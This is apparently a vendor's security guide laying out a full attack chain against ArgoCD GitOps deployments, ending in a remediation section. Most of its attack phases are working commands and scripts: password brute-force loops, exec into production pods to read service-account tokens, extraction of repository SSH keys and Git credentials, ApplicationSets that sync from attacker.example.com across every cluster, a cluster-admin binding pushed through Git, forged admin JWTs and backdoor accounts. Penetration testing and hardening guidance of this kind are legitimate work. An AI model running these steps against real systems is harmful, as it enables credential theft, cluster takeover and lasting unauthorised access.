ArgoCD Security Testing: GitOps Pipeline Attacks, RBAC Bypass, and Secret Exposure
ArgoCD sits at the center of every GitOps deployment pipeline. It holds kubeconfig credentials for every cluster it manages, SSH keys or tokens for every application repository, and it continuously syncs whatever a Git commit says should be running in production. That combination — privileged cluster access, centralized repository credentials, and a sync engine that executes without human approval — makes ArgoCD one of the highest-value targets in a modern Kubernetes environment.
This guide walks through the full ArgoCD attack chain from initial reconnaissance to cluster takeover, with practical commands at every stage. It covers unauthenticated API access, authentication attacks, RBAC privilege escalation, repository credential theft, secret extraction from synced manifests, malicious manifest injection, and persistence techniques.
Table of Contents
- Why ArgoCD Is a High-Value Target
- Phase 1: Recon and Enumeration
- Phase 2: Authentication Attacks
- Phase 3: RBAC Bypass and Privilege Escalation
- Phase 4: Repository Credential Theft
- Phase 5: Secret Exposure in Manifests
- Phase 6: Cluster Takeover via Sync
- Phase 7: Persistence
- Tools Reference
- Remediation
Why ArgoCD Is a High-Value Target
Most internal tools give an attacker access to one thing. ArgoCD gives an attacker access to everything. Consider what ArgoCD must possess in order to do its job:
- Cluster credentials for every managed environment. To sync manifests, ArgoCD holds a kubeconfig or in-cluster service account token with permissions to create, update, and delete any resource across every registered cluster. In many deployments this is effectively cluster-admin.
- Repository credentials for every application. ArgoCD must read the Git repositories it tracks. This means it stores SSH deploy keys, HTTPS credentials, or token-based access for every application repo and Helm chart repository in your organization.
- Secret values for deployed applications. When teams embed secrets directly in Helm values files or Kubernetes manifests, those secrets transit through ArgoCD on every sync. The ArgoCD API can dump the rendered manifest, exposing every environment variable and configuration value for every deployed application.
- Continuous execution without human approval by default. Auto-sync means that a single commit to a tracked branch triggers an immediate deployment. An attacker who can write to that branch — or forge a webhook — owns the cluster.
The attack surface compounds when ApplicationSets are in use. ApplicationSets allow a single template to generate hundreds of Application objects across multiple clusters using generators that pull data from cluster inventories, Git directory structures, or external list files. A vulnerability in one ApplicationSet can cascade across the entire fleet.
Phase 1: Recon and Enumeration
Finding Exposed ArgoCD UIs
ArgoCD is typically exposed on port 443 or 80 behind an nginx ingress. It is common to find it at subdomains like argocd.internal, cd.company.com, or gitops.k8s.company.com. Start with passive discovery:
# Certificate transparency -- ArgoCD often gets its own subdomain
curl "https://crt.sh/?q=%.example.com&output=json" | jq -r '.[].name_value' | \
grep -iE "argo|gitops|cd\." | sort -u
# Shodan for ArgoCD UI
shodan search 'http.title:"Argo CD" org:"target-company"'
# DNS brute force common ArgoCD subdomain patterns
for sub in argocd argo cd gitops deploy k8s-cd infra-cd; do
host $sub.example.com 2>/dev/null | grep "has address"
done
# Check default port if you have an IP range
nmap -p 80,443,8080,8443 --open -sV 10.0.0.0/24 | grep -A2 "argocd\|Argo"
Version Fingerprinting Without Authentication
ArgoCD exposes version information via its API without requiring authentication by default. Knowing the exact version immediately narrows the CVE surface:
# Version endpoint -- unauthenticated on most deployments
curl -sk https://argocd.example.com/api/v1/version
# {"Version":"v2.9.3","BuildDate":"2023-11-15T...","GoVersion":"go1.21.4","Compiler":"gc","Platform":"linux/amd64"}
# Settings endpoint -- reveals OIDC configuration and anonymous access status
curl -sk https://argocd.example.com/api/v1/settings
# Returns OIDC config, app label key, resource overrides, status badge config
# Check if anonymous access is enabled
curl -sk https://argocd.example.com/api/v1/applications | python3 -m json.tool | head -20
Critical versions to note: ArgoCD < 2.3.0 is affected by CVE-2022-24348, a path traversal in the Helm values file parameter that allows reading arbitrary files from the repo-server container. ArgoCD < 2.1.9 and < 2.2.4 have a related variant allowing an attacker with read access to any Application to read secrets from other namespaces. These are worth confirming before investing time in manual techniques.
ArgoCD versions prior to 2.3.0 allow an authenticated user to use the valueFiles parameter to traverse paths on the repo-server, reading files outside the repository. The fix added path validation, but older instances in the wild still expose this.
API Enumeration Without Authentication
Even when anonymous access is nominally disabled, several endpoints remain accessible without a token. Map what is reachable before attempting any credentials:
# Enumerate what is accessible without a JWT
for endpoint in \
"/api/v1/version" \
"/api/v1/settings" \
"/api/v1/applications" \
"/api/v1/projects" \
"/api/v1/repositories" \
"/api/v1/clusters" \
"/api/v1/account" \
"/metrics"; do
status=$(curl -sk -o /dev/null -w "%{http_code}" "https://argocd.example.com$endpoint")
echo "$status $endpoint"
done
A 200 response on /api/v1/applications without a token confirms anonymous access is enabled. You can enumerate every application, its sync status, source repo URL, and target namespace without credentials. A 200 on /metrics exposes Prometheus metrics including sync counts, error rates, and cluster information.
Phase 2: Authentication Attacks
Default Admin Credentials
ArgoCD bootstraps with a local admin account whose initial password is automatically set to the name of the ArgoCD server pod. Teams that do not rotate this after installation leave it trivially guessable if you can observe pod names — via the API, a leaked kubeconfig, or simply via the UI's error messages:
# The initial admin password equals the argocd-server pod name
# If you have any cluster access, retrieve it directly:
kubectl -n argocd get secret argocd-initial-admin-secret \
-o jsonpath='{.data.password}' | base64 -d && echo
# If the secret was never deleted post-install (very common), this works
# even with minimal RBAC -- secrets:get on that one specific resource
# Try the pod-name-as-password approach if you can list pods:
POD=$(kubectl -n argocd get pods -l app.kubernetes.io/name=argocd-server \
-o jsonpath='{.items[0].metadata.name}')
argocd login argocd.example.com --username admin --password "$POD" --insecure
Local User Brute Force
ArgoCD supports additional local accounts beyond admin. These are defined in the argocd-cm ConfigMap and are often created for CI/CD automation with weak, guessable passwords. There is no account lockout by default:
# Enumerate local users via the API (requires some auth, or anonymous if enabled)
curl -sk -H "Authorization: Bearer $TOKEN" \
https://argocd.example.com/api/v1/account | jq '.items[].name'
# Brute force the admin account -- ArgoCD does not rate-limit by default
# No lockout policy unless explicitly configured via OIDC or a reverse proxy
while IFS= read -r password; do
result=$(argocd login argocd.example.com \
--username admin \
--password "$password" \
--insecure 2>&1)
if echo "$result" | grep -q "Logged in"; then
echo "[+] Found password: $password"
break
fi
done < /path/to/wordlist.txt
# Common weak passwords to try first
for pw in admin password argocd changeme Password1 "Admin@123" \
"argocd123" "gitops" "$(hostname)"; do
argocd login argocd.example.com --username admin \
--password "$pw" --insecure 2>&1 | \
grep -q "Logged in" && echo "[+] Password: $pw" && break
done
OIDC Misconfiguration
ArgoCD commonly delegates authentication to an OIDC provider — Okta, Keycloak, GitHub, or Google. Misconfigurations at the OIDC layer can enable authentication bypass or group membership escalation:
# Check if ArgoCD's OIDC callback is an open redirect
# The redirect_uri is controllable -- some OIDC providers redirect to any registered prefix
curl -sk "https://argocd.example.com/api/dex/auth?client_id=argo-cd&redirect_uri=https://attacker.com/callback&response_type=code&scope=openid+profile+email&state=RANDOM"
# If ArgoCD is backed by Dex, enumerate the Dex issuer configuration
curl -sk https://argocd.example.com/api/dex/.well-known/openid-configuration | python3 -m json.tool
# Check the ArgoCD OIDC config for group claim mapping
# If the OIDC provider allows user-controlled group membership,
# adding yourself to the mapped admin group grants ArgoCD admin RBAC
kubectl -n argocd get configmap argocd-cm -o jsonpath='{.data.oidc\.config}' | python3 -m json.tool
SSO Bypass via Direct API Access
When ArgoCD is configured for SSO-only authentication, the local admin account is sometimes left enabled as a break-glass emergency account. Teams forget to disable it or set a strong password. The UI enforces SSO-only login, but the API does not:
# Even with SSO enforced for the UI, the API accepts local account JWT tokens
# Test if local admin still responds alongside SSO
curl -sk -X POST https://argocd.example.com/api/v1/session \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' | jq '.token'
# A returned token confirms SSO bypass -- the API does not enforce
# the SSO-only policy that the UI enforces via redirect
Phase 3: RBAC Bypass and Privilege Escalation
Understanding the ArgoCD RBAC Model
ArgoCD RBAC is expressed as Casbin policies stored in the argocd-rbac-cm ConfigMap. Policies follow the pattern p, <subject>, <resource>, <action>, <object>, <effect>. Resources include applications, applicationsets, repositories, clusters, certificates, accounts, logs, and exec. Actions include get, create, update, delete, sync, and action.
The critical misconfiguration pattern is wildcard grants that appear scoped but are not. Read the policy and look for these:
# Read the RBAC config if you have kubectl access
kubectl -n argocd get configmap argocd-rbac-cm -o yaml
# Example misconfigured policy that grants sync on ALL apps in ALL projects:
# p, role:developer, applications, sync, */*, allow
# Looks scoped ("developer role") but the *//* wildcard means any project and any app
# A * on resource grants ALL actions including exec:
# p, role:developer, applications, *, my-project/*, allow
# This grants exec into pods even though exec was probably not intended
# Enumerate your own effective permissions via the CLI
argocd account can-i sync applications '*/*'
argocd account can-i exec applications '*/*'
argocd account can-i create repositories '*'
argocd account can-i get clusters '*'
argocd account can-i create applicationsets '*'
Action Escalation: From Sync to Exec
The exec resource was added as a distinct permission in ArgoCD 2.4. RBAC policies written before 2.4 that grant a wildcard on applications implicitly include exec. This is a common finding: developers have sync access and unknowingly also have the ability to exec arbitrary commands into any production container:
# Test exec capability -- runs a command inside the first container of the specified pod
argocd app exec <app-name> <pod-name> --container <container-name> -- /bin/sh
# More targeted: dump environment variables from a production container
argocd app exec payment-service payment-service-7d9f4b-xkp2r \
--container payment-api -- env
# Read mounted secrets (service account tokens, TLS certs, custom secrets)
argocd app exec payment-service payment-service-7d9f4b-xkp2r \
--container payment-api -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Lateral movement: use the container's service account token to call the Kubernetes API
TOKEN=$(argocd app exec payment-service payment-service-7d9f4b-xkp2r \
--container payment-api -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/production/secrets | \
jq '[.items[].metadata.name]'
ApplicationSet Controller Privilege Escalation
The ApplicationSet controller creates ArgoCD Application objects. A user with create on applicationsets can generate Application objects targeting clusters and namespaces beyond their normal project-level RBAC scope — effectively bypassing the project boundary entirely:
# Check if ApplicationSet creation is permitted for your account
argocd account can-i create applicationsets '*'
# If yes, create an ApplicationSet using the cluster generator
# targeting a privileged namespace you cannot normally access
cat <<EOF | kubectl apply -f -
apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
name: escalation-test
namespace: argocd
spec:
generators:
- list:
elements:
- cluster: in-cluster
namespace: kube-system
template:
metadata:
name: '{{cluster}}-escalation'
spec:
project: default
source:
repoURL: https://attacker.example.com/malicious-manifests.git
targetRevision: HEAD
path: .
destination:
server: https://kubernetes.default.svc
namespace: kube-system
syncPolicy:
automated: {}
EOF
Phase 4: Repository Credential Theft
Listing Repositories via API
ArgoCD stores repository credentials as Kubernetes Secrets in the argocd namespace. The ArgoCD API surfaces the list of registered repositories and, for some authentication types, partial credential information that can be used to infer the full credential type and scope:
# List all repositories ArgoCD is tracking
argocd repo list
# HTTPS repositories reveal the username and URL
# SSH repositories reveal the public key fingerprint
# Direct API call with a token
curl -sk -H "Authorization: Bearer $TOKEN" \
https://argocd.example.com/api/v1/repositories | \
jq '.items[] | {repo: .repo, type: .type, username: .username, connectionState: .connectionState}'
# If you only have 'get' on applications but not repositories,
# the application spec reveals the repo URL for every tracked app:
curl -sk -H "Authorization: Bearer $TOKEN" \
https://argocd.example.com/api/v1/applications | \
jq '.items[] | {name: .metadata.name, repoURL: .spec.source.repoURL}'
Extracting Git Credentials from Kubernetes Secrets
ArgoCD stores repository credentials in two types of Secrets: per-repository secrets (labeled argocd.argoproj.io/secret-type: repository) and credential templates (labeled argocd.argoproj.io/secret-type: repo-creds). If you have secrets:get in the argocd namespace — directly or via an over-privileged ArgoCD service account — you can extract raw credentials:
# List all ArgoCD repository secrets
kubectl -n argocd get secrets \
-l argocd.argoproj.io/secret-type=repository \
-o json | jq '.items[] | {name: .metadata.name, data: .data}'
# Decode a specific repository's credentials
SECRET_NAME="repo-3456789012"
kubectl -n argocd get secret $SECRET_NAME -o json | jq -r '
.data | {
url: (.url // "" | @base64d),
username: (.username // "" | @base64d),
password: (.password // "" | @base64d),
sshPrivateKey: (.sshPrivateKey // "" | @base64d),
githubAppPrivateKey: (.githubAppPrivateKey // "" | @base64d),
githubAppID: (.githubAppID // "" | @base64d)
}'
# Retrieve the ArgoCD admin bcrypt hash from argocd-secret
kubectl -n argocd get secret argocd-secret \
-o jsonpath='{.data.admin\.password}' | base64 -d && echo
SSH Key Exposure
SSH deploy keys stored by ArgoCD are private keys with read access to application repositories. Extracting them allows cloning any tracked repository, exposing unreleased code, additional secrets in configuration files, and internal infrastructure details:
# Extract and save SSH private key from ArgoCD repository secret
kubectl -n argocd get secret repo-1234567890 \
-o jsonpath='{.data.sshPrivateKey}' | base64 -d > /tmp/argocd_deploy_key
chmod 600 /tmp/argocd_deploy_key
# Use the extracted key to clone the application repository
GIT_SSH_COMMAND="ssh -i /tmp/argocd_deploy_key -o StrictHostKeyChecking=no" \
git clone git@github.com:target-org/production-manifests.git
# Search the cloned repository for additional secrets
trufflehog git file://./production-manifests --json 2>/dev/null | \
jq '{detector: .DetectorType, secret: .Raw, file: .SourceMetadata.Data.Git.file}'
# Also scan git history -- secrets committed and later deleted are still there
trufflehog git file://./production-manifests --since-commit HEAD~100 --json
Phase 5: Secret Exposure in Manifests
Plaintext Secrets in Synced Manifests
Many teams commit plaintext Kubernetes Secret manifests to Git that ArgoCD then syncs. The ArgoCD API can render the full manifest — including all env, envFrom, and volume references — for any application the authenticated user can read. Base64 encoding in Kubernetes Secrets is not encryption:
# Dump the rendered manifests for all resources in an application
argocd app manifests payment-service
# The rendered output includes all Kubernetes objects as they will be applied,
# including Secret objects if the team committed them to Git
# Filter for Secret objects specifically and decode all values
argocd app manifests payment-service | python3 -c "
import sys, yaml, json, base64
docs = list(yaml.safe_load_all(sys.stdin))
for d in docs:
if d and d.get('kind') == 'Secret':
raw = d.get('data', {})
decoded = {}
for k, v in raw.items():
try:
decoded[k] = base64.b64decode(v).decode('utf-8', errors='replace')
except Exception:
decoded[k] = v
print(json.dumps({
'name': d['metadata']['name'],
'namespace': d['metadata']['namespace'],
'data': decoded
}, indent=2))
"
Helm Values Containing Secrets
Helm chart deployments via ArgoCD often pass database passwords, API keys, and signing secrets as Helm parameters. These are stored in the Application spec and are retrievable via the API for anyone with read access to the Application object:
# Retrieve the full Application spec including Helm values parameters
curl -sk -H "Authorization: Bearer $TOKEN" \
"https://argocd.example.com/api/v1/applications/payment-service" | \
jq '.spec.source.helm'
# Output will include helm parameters set at deploy time:
# {
# "valueFiles": ["values-production.yaml"],
# "parameters": [
# {"name": "database.password", "value": "supersecret123"},
# {"name": "stripe.apiKey", "value": "sk_live_..."},
# {"name": "jwt.secret", "value": "..."}
# ]
# }
# Get rendered manifests via the API directly
curl -sk -H "Authorization: Bearer $TOKEN" \
"https://argocd.example.com/api/v1/applications/payment-service/manifests" | \
jq '.manifests[]' | python3 -c "
import sys, json, yaml, base64
for line in sys.stdin:
line = line.strip()
if not line:
continue
try:
manifest = yaml.safe_load(json.loads(line))
if manifest and manifest.get('kind') in ('Secret', 'ConfigMap'):
print(json.dumps(manifest, indent=2, default=str))
except Exception:
pass
"
Phase 6: Cluster Takeover via Sync
Malicious Manifest Injection into a Tracked Repository
If auto-sync is enabled and you can write to the tracked branch — via stolen repository credentials from Phase 4, a compromised developer account, or supply chain compromise — you can deploy any Kubernetes resource to the target cluster. The ArgoCD service account will apply it with its cluster-level permissions:
# Step 1: Clone the tracked repository using credentials from Phase 4
git clone https://token:$EXTRACTED_TOKEN@github.com/target-org/k8s-manifests.git
cd k8s-manifests
# Step 2: Add a ClusterRoleBinding that grants cluster-admin to an attacker-controlled SA
cat <<EOF > escalation/cluster-admin-binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: debug-cluster-access
labels:
app.kubernetes.io/managed-by: Helm
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: debug-sa
namespace: kube-system
EOF
# Step 3: Add the service account in the tracked path
cat <<EOF > escalation/debug-sa.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: debug-sa
namespace: kube-system
EOF
# Step 4: Commit and push -- ArgoCD will sync within 3 minutes (default poll interval)
# or immediately if a webhook fires
git add escalation/
git commit -m "chore: add debug service account for troubleshooting"
git push origin main
# Step 5: Retrieve the service account token after sync completes
kubectl -n kube-system get secret \
$(kubectl -n kube-system get sa debug-sa -o jsonpath='{.secrets[0].name}') \
-o jsonpath='{.data.token}' | base64 -d
ApplicationSet Cluster Generator Abuse
The ApplicationSet cluster generator automatically creates one Application per registered cluster. If you can write an ApplicationSet with a malicious source, it deploys to every cluster ArgoCD manages in a single operation:
# Deploy a privileged payload to all clusters simultaneously via ApplicationSet
cat <<EOF | kubectl apply -f - --kubeconfig=/tmp/argocd_kubeconfig
apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
name: infra-audit
namespace: argocd
spec:
generators:
- clusters: {} # empty selector matches ALL registered clusters
template:
metadata:
name: 'infra-audit-{{name}}'
spec:
project: default
source:
repoURL: https://attacker.example.com/payload.git
targetRevision: HEAD
path: manifests
destination:
server: '{{server}}'
namespace: kube-system
syncPolicy:
automated:
prune: false
selfHeal: false
EOF
Git Generator with Path Traversal (CVE-2022-24348)
On versions prior to ArgoCD 2.3.0, the Helm valueFiles parameter was not sanitized for path traversal. An attacker with the ability to create an Application could read arbitrary files from the repo-server pod — including mounted secrets like the ArgoCD TLS certificate, service account tokens, or internal kubeconfig files:
# On vulnerable versions (< 2.3.0), abuse valueFiles path traversal
# to read files from the repo-server container's filesystem
argocd app create exploit-app \
--repo https://github.com/target/helm-charts \
--helm-chart my-chart \
--revision HEAD \
--helm-set-file config=../../../../etc/passwd \
--dest-server https://kubernetes.default.svc \
--dest-namespace default
# After sync, retrieve the rendered manifest to see the file contents
argocd app manifests exploit-app | grep -A50 "config:"
# More useful targets on an unpatched repo-server:
# ../../../../var/run/secrets/kubernetes.io/serviceaccount/token
# ../../../../home/argocd/.ssh/id_rsa
# ../../../../tmp/git-ask-pass.sh
Phase 7: Persistence
ArgoCD Admin Token Theft and Forgery
ArgoCD JWTs are long-lived by default. The admin account token does not expire unless explicitly configured. Stealing a valid token and caching it provides durable access that survives password rotations — it remains valid until the server signing key is rotated or the server restarts:
# If you have kubectl access to the argocd namespace, extract the JWT signing key
# All ArgoCD JWTs are signed with the server.secretkey stored in argocd-secret
kubectl -n argocd get secret argocd-secret \
-o jsonpath='{.data.server\.secretkey}' | base64 -d && echo
# With the signing key, forge a long-lived admin JWT offline
python3 - <<'PYEOF'
import jwt, time
key = "EXTRACTED_SECRET_KEY_HERE"
payload = {
"iss": "argocd",
"sub": "admin",
"exp": int(time.time()) + 86400 * 365,
"iat": int(time.time()),
"jti": "forged-persistence-token",
"type": "login_token"
}
print(jwt.encode(payload, key, algorithm="HS256"))
PYEOF
# Alternatively, generate a non-expiring API token via the CLI
# (requires current valid admin access)
ARGOCD_TOKEN=$(argocd account generate-token --account admin --expires-in 0)
echo $ARGOCD_TOKEN
Creating Backdoor Local Users
ArgoCD local users are defined in the argocd-cm ConfigMap. If you have kubectl write access to the argocd namespace, you can add a backdoor account that survives ArgoCD redeployments, pod restarts, and even version upgrades — because it is stored in a ConfigMap, not in the container image:
# Add a local user to argocd-cm with login and API key capabilities
kubectl -n argocd patch configmap argocd-cm --type merge -p '
{
"data": {
"accounts.backdoor": "apiKey, login",
"accounts.backdoor.enabled": "true"
}
}'
# Set the password for the backdoor account (requires admin access)
argocd account update-password \
--account backdoor \
--new-password 'Backd00r!Password' \
--current-password $CURRENT_ADMIN_PASSWORD
# Generate a long-lived API key that does not expire
argocd account generate-token --account backdoor --expires-in 0
# Returns a persistent token -- store it externally for durable access
# Verify the backdoor account works
argocd login argocd.example.com \
--username backdoor \
--password 'Backd00r!Password' \
--insecure
Webhook Forgery to Trigger Malicious Syncs
ArgoCD listens for Git webhooks on /api/webhook to trigger immediate syncs rather than waiting for the polling interval. If the webhook secret is absent or weak, any party can trigger an immediate sync of a repository branch — useful for ensuring a malicious commit is picked up quickly, or for forcing a sync storm as a denial-of-service:
# Check if ArgoCD webhook secret is configured
kubectl -n argocd get secret argocd-secret \
-o jsonpath='{.data.webhook\.github\.secret}' | base64 -d && echo
# Empty output = no secret = unsigned webhooks accepted from anywhere
# Trigger an immediate sync without waiting for poll interval (no secret required)
curl -sk -X POST https://argocd.example.com/api/webhook \
-H "Content-Type: application/json" \
-H "X-GitHub-Event: push" \
-d '{
"ref": "refs/heads/main",
"repository": {
"clone_url": "https://github.com/target-org/k8s-manifests.git"
}
}'
# With a weak/known secret, compute the HMAC and send a signed webhook
WEBHOOK_SECRET="weakpassword"
PAYLOAD='{"ref":"refs/heads/main","repository":{"clone_url":"https://github.com/target-org/k8s-manifests.git"}}'
SIG=$(echo -n "$PAYLOAD" | openssl dgst -sha256 -hmac "$WEBHOOK_SECRET" | awk '{print "sha256="$2}')
curl -sk -X POST https://argocd.example.com/api/webhook \
-H "Content-Type: application/json" \
-H "X-Hub-Signature-256: $SIG" \
-d "$PAYLOAD"
Tools Reference
| Tool | Purpose | Key Usage |
|---|---|---|
argocd CLI |
Native API client for ArgoCD | argocd app manifests, argocd app exec, argocd repo list, argocd account can-i, argocd account generate-token |
kubectl |
Kubernetes API — the other half of the attack surface | Extract Secrets from argocd namespace, patch ConfigMaps, read RBAC policies, create service accounts post-exploitation |
curl |
Direct ArgoCD API calls without CLI auth context | Unauthenticated endpoint enumeration, token-based API calls, webhook forgery testing |
trufflehog |
Secret scanning in Git repositories | trufflehog git file://./repo --json after cloning with stolen SSH keys or tokens |
pyjwt / jwt_tool |
JWT analysis and forgery | Decode ArgoCD tokens to inspect claims, forge admin JWT using extracted signing key |
nmap + shodan |
ArgoCD instance discovery | Port scanning for ArgoCD on 443/8080/8443, banner grabbing, passive recon via Shodan and certificate transparency |
Remediation
Disable Anonymous Access
Anonymous access is off by default but can be accidentally re-enabled via argocd-cm. Verify it is disabled in your deployment and add an explicit deny:
# Check current anonymous access setting
kubectl -n argocd get configmap argocd-cm \
-o jsonpath='{.data.users\.anonymous\.enabled}'
# Should return empty (not set) or "false"
# Explicitly set it to false
kubectl -n argocd patch configmap argocd-cm --type merge \
-p '{"data": {"users.anonymous.enabled": "false"}}'
Strong RBAC Policies
Avoid wildcard grants. Scope policies to specific projects and actions. Treat exec, delete, and create on applicationsets as cluster-admin-equivalent and restrict them to a very small set of explicitly named identities:
# Correctly scoped RBAC policy for a developer role
p, role:developer, applications, get, my-project/*, allow
p, role:developer, applications, sync, my-project/*, allow
p, role:developer, logs, get, my-project/*, allow
# Explicitly deny exec even if wildcards exist elsewhere
p, role:developer, exec, create, */*, deny
# What NOT to do -- wildcard on action grants exec everywhere:
# p, role:developer, applications, *, */*, allow
Repository Credential Rotation and Scoping
Use read-only deploy keys scoped to individual repositories rather than a single credential with broad access. Rotate credentials after any personnel change or suspected compromise. Prefer GitHub Apps over personal access tokens — App tokens expire, carry explicit repository scopes, and support installation-level permission constraints that personal tokens do not.
Replace Plaintext Secrets with External Secret Management
Never commit plaintext Kubernetes Secret manifests to Git. Use one of the established GitOps-compatible approaches:
- Sealed Secrets (Bitnami): Encrypts secrets using a cluster-side public key. Only the cluster can decrypt. Encrypted blobs are safe to commit to Git.
- External Secrets Operator: Pulls secrets from AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager, or Azure Key Vault at sync time. The Git manifest contains only a reference, not the value itself.
- Helm Secrets with SOPS: Encrypts Helm values files using age or GPG keys. The encrypted file lives in Git; the private key never does.
Network Policies and Access Control
Restrict access to the ArgoCD API server to internal networks or VPN. Apply Kubernetes NetworkPolicies to prevent workloads in other namespaces from reaching the ArgoCD service — lateral movement via a compromised application pod is a realistic attack path:
# Restrict argocd-server ingress to internal CIDR only
# Enforce both at the load balancer/ingress AND with a NetworkPolicy
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: argocd-server-ingress-restriction
namespace: argocd
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: argocd-server
policyTypes:
- Ingress
ingress:
- from:
- ipBlock:
cidr: 10.0.0.0/8
ports:
- port: 8080
- port: 8443
EOF
Webhook Secret Configuration
Always configure a strong, randomly generated webhook secret. ArgoCD validates the HMAC-SHA256 signature on incoming webhooks when the secret is configured. Without it, any internet-accessible ArgoCD instance accepts webhook requests from any source:
# Generate a strong webhook secret (32 bytes of entropy)
WEBHOOK_SECRET=$(openssl rand -hex 32)
# Store it in argocd-secret
kubectl -n argocd patch secret argocd-secret --type merge \
-p "{\"data\": {\"webhook.github.secret\": \"$(echo -n $WEBHOOK_SECRET | base64)\"}}"
# Restart argocd-server to pick up the change
kubectl -n argocd rollout restart deployment argocd-server
# Confirm the webhook endpoint now requires a valid signature
curl -sk -X POST https://argocd.example.com/api/webhook \
-H "Content-Type: application/json" \
-H "X-GitHub-Event: push" \
-d '{"ref":"refs/heads/main","repository":{"clone_url":"https://github.com/example/repo.git"}}'
# Should now return 400 or 401 without a valid signature
Additional Hardening Measures
- Enable audit logging. ArgoCD logs sync events, authentication attempts, and resource modifications. Ship them to your SIEM and alert on unusual patterns: syncs outside business hours, new cluster registrations, account creation events.
- Disable local admin in production. If your organization uses SSO, disable the local admin account after initial setup. Emergency access can be handled via
kubectl execinto the argocd-server pod, gated behind cluster access controls. - Restrict ApplicationSet generators. The cluster generator — which targets all registered clusters — is rarely needed outside platform engineering teams. Disable it in
argocd-cmif you do not explicitly need multi-cluster ApplicationSets. - Rotate the
argocd-secretsigning key quarterly. This invalidates all existing JWT sessions. Automate it via your secrets management platform and notify users to re-authenticate. - Pin allowed source repositories. ArgoCD Projects support a
sourceReposallow list. Restrict each project to specific known-good repository URLs to prevent malicious repository injection via a compromised application spec.
Ironimo scans your web application with the same tooling professional security engineers use — on demand, without the invoice.
Our scanner identifies exposed management interfaces, authentication weaknesses, and misconfigured access controls across your web-facing infrastructure. Get your first report in minutes.
Start free scan